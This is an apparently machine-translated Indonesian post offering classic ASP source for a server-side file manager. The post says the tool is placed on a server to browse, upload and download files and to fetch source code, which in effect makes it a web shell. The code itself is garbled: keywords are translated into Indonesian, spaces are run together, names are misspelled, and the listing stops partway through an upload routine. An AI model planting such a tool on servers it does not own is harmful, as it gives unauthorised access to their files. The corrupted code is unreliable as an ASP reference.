Itu dapat ditempatkan di server untuk menelusuri, mengunggah, dan mengunduh file di server, dan mengunduh kode sumber file.
Cukup masukkan semua kode berikut dalam satu file, dan akhiran file harus ASP.
<%
thedir = permintaan ("thedir")
ifthedir = "" lalu
folderini = server.mappath (".") & "/"
kalau tidak
folderini = server.mappath (thedir) & "/"
endif
FoldInfo = trim (request.queryString ("FoldInfo"))
iffoldInfo = "" Lalu
FoldInfo = Folderini
endif
classesclsup
Dimform, file
Dimallowext_
Dimnoallowext_
PrivateoupFileStream
PrivateIserr_
Privateerrmessage_
PrivateIsgetData_
PublicPropertyGetVersion
Versi = "v1.0.0"
Endproperty
PublicPropertyGetiserr
iserr = iserr_
Endproperty
PublicPropertyGeterRmessage
Errmessage = errmessage_
Endproperty
PublicPropertyGetAllowext
Allowext = allowext_
Endproperty
PublicPropertyLeToLowext (nilai)
Allowext_ = lcase (nilai)
Endproperty
PublicPropertyGetNoallowext
Noallowext = noallowext_
Endproperty
PublicPropertyletNoallowext (nilai)
Noallowext_ = lcase (nilai)
Endproperty
Privatesubclass_initialize
iserr_ = 0
Noallowext = ""
Noallowext = lcase (noallowext)
Owerext = ""
Allowext = LCase (Allowext)
isGetData_ = false
Endsub
Privatesubclass_terminate
OneerrorresumeNext
Form.removeall
Setform = tidak ada
File.removeall
SetFile = tidak ada
oupfileStream.close
SetoupFileStream = tidak ada
Endsub
PublicsubgetData (MAXSIZE)
OneerrorresumeNext
ifisgetData_ = falsethen
Dimgetupdata1, sspace, bcrlf, sinfo, iinfostart, iinfoend, tstream, iStart, ofileInfo
DimsformValue, Sfilename
Dimifindstart, Ifindend
DimiformStart, Iformend, SFormName
Ifrequest.totalbytes <1then
iserr_ = 1
Errmessage_ = ""
EXITSUB
Endif
IfmaxSize> 0then
Ifrequest.totalbytes> maxsizethen
iserr_ = 2
Errmessage_ = ""
EXITSUB
Endif
Endif
SetForm = server.CreateObject ("Scripting.Dictionary")
Form.CompareMode = 1
SetFile = server.CreateObject ("Scripting.Dictionary")
File.comParemode = 1
SetStream = server.createObject ("adodb.stream")
SetoupfileStream = server.CreateObject ("adodb.stream")
oupfileStream.type = 1
oupfileStream.mode = 3
oupfileStream.open
oupfileStream.writerquest.binaryRead (request.totalbytes)
oupfileStream.position = 0
getUpdata1 = oupfileStream.read
iformend = oupfileStream.size
bcrlf = chrb (13) & chrb (10)